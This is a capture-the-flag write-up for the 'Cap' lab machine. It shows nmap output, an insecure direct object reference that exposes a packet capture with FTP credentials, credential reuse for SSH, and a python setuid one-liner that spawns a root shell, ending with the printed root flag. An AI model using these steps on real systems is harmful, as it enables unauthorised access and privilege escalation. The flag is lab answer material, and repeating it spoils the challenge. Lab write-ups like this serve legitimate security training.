Cap Writeup

Reconnaissance & Enumeration

Nmap scan of the machine.

# Nmap 7.91 scan initiated Sun Jun  6 22:47:03 2021 as: nmap -v -sC -sV -oN nmap -p- cap.htb
Nmap scan report for cap.htb (10.129.149.179)
Host is up (0.071s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sun, 06 Jun 2021 20:50:41 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sun, 06 Jun 2021 20:50:36 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sun, 06 Jun 2021 20:50:36 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=6/6%Time=60BD3516%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20S
SF:un,\x2006\x20Jun\x202021\x2020:50:36\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x201938
SF:6\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\n
SF:\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20
SF:<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\x
SF:20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\x
SF:20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1
SF:\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image/
SF:png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<l
SF:ink\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">\
SF:n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/font
SF:-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20h
SF:ref=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=\
SF:"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x20
SF:<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.c
SF:ss\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/cs
SF:s/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOptions
SF:,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Sun,\x20
SF:06\x20Jun\x202021\x2020:50:36\x20GMT\r\nConnection:\x20close\r\nContent
SF:-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OPT
SF:IONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x20
SF:400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text/
SF:html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20\
SF:x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\n
SF:\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invalid
SF:\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP/
SF:1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189,
SF:"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20Su
SF:n,\x2006\x20Jun\x202021\x2020:50:41\x20GMT\r\nConnection:\x20close\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\r
SF:\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20F
SF:inal//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\
SF:n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20serv
SF:er\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20che
SF:ck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun  6 22:52:36 2021 -- 1 IP address (1 host up) scanned in 333.10 seconds

There are 3 ports open:

Anonymous login is disabled on the FTP server so let’s see the http server. It looks like a simple admin page without any CMS. I started by looking around using the menu. At the Security Snapshot menu we can download .pcap files.

Getting user

On the Security Snapshot menu by default we can download the latest .pcap files. These files don’t have any useful information, but by changing the url from /data/* to /data/0 we can access the first .pcap file.

Inspecting it using wireshark we can find the FTP credentials and we can grab the user flag through the FTP server.

Getting root

Using the credentials of the FTP we can also login to the SSH.

I’ve used linPEAS for enumeration, which found CAP_SETUID on python3.8

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Using this capability we can escalate to root access.

More about privilege escalation using capabilities on this link.

Using python we set the current process’s user id to 0 (because the uid of root is 0) and then we spawn a bash shell.

nathan@cap:~$ python3 -c "import os;os.setuid(0); os.system('/bin/bash')"
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# cat /root/root.txt
79c5598fc99004fe568cd79e936d0d5e